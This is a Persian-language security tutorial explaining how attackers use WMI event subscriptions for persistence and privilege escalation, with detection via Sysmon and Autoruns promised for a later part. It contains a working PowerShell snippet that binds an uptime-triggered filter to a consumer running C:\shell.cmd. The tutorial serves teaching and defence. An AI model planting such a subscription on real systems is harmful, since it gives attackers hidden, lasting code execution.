سلام دوستان
در این بخش می خواهیم یکی از روش های بسیار پیشرفته مهاجمین را برای Persistence و Privilege Escalation بررسی کنیم. همچنین در قسمت بعد نحوه شناسایی با ابزار های sysmon و autoruns بررسی می نماییم.
WMI یا Windows Managent Instrumentation برای مدیریت سیستم های ماکروسافتی به صورت local یا remote می باشد. برای مثال همه موارد زیر توسط این ماژول قابل انجام می باشد:
- اجرا کردن یک Process بر روی یک کامپیوتر در شبکه بصورت ریموت
- زمانبندی کردن اجرا یک برنامه یا Process در زمان تعیین شده و در روزهای خاص
- Reboot کردن یک کامپیوتر از راه دور
- تهیه لیست سخت افزارها و نرم افزارهای موجود در سیستم های شبکه
- Query گرفتن از Event های یک سیستم بصورت Local یا بصورت ریموت
حالا سه یخش مهم WMI را با هم بررسی می نماییم:
- event filters: شروطی که سیستم به آن گوش می دهد مانند ایجاد یک پروسس
- event consumers: هنگامی که event filter فعال گردد, ماژول consumers اقدامی انجام می دهد مانند اجرای یک اسکریپت
- filter to consumer bindings: ارتباط بین موارد فوق را ایجاد می نماید.
حال کد زیر را برای درک بیشتر بررسی می نماییم:
# WMI __EVENTFILTER
$wmiParams = @{
ErrorAction = 'Stop'
NameSpace = 'root\subscription'
}
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'evil'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 1200"
}
$filterResult = Set-WmiInstance @wmiParams
# WMI __EVENTCONSUMER
$wmiParams.Class = 'CommandLineEventConsumer'
$wmiParams.Arguments = @{
Name = 'evil'
ExecutablePath = "C:\shell.cmd"
}
$consumerResult = Set-WmiInstance @wmiParams
#WMI __FILTERTOCONSUMERBINDING
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
در اینجا ابتدا مهاجم دسترسی خود را حفظ می نماید و بعد از اجرای پیلود همیشه در سیستم باقی می ماند.
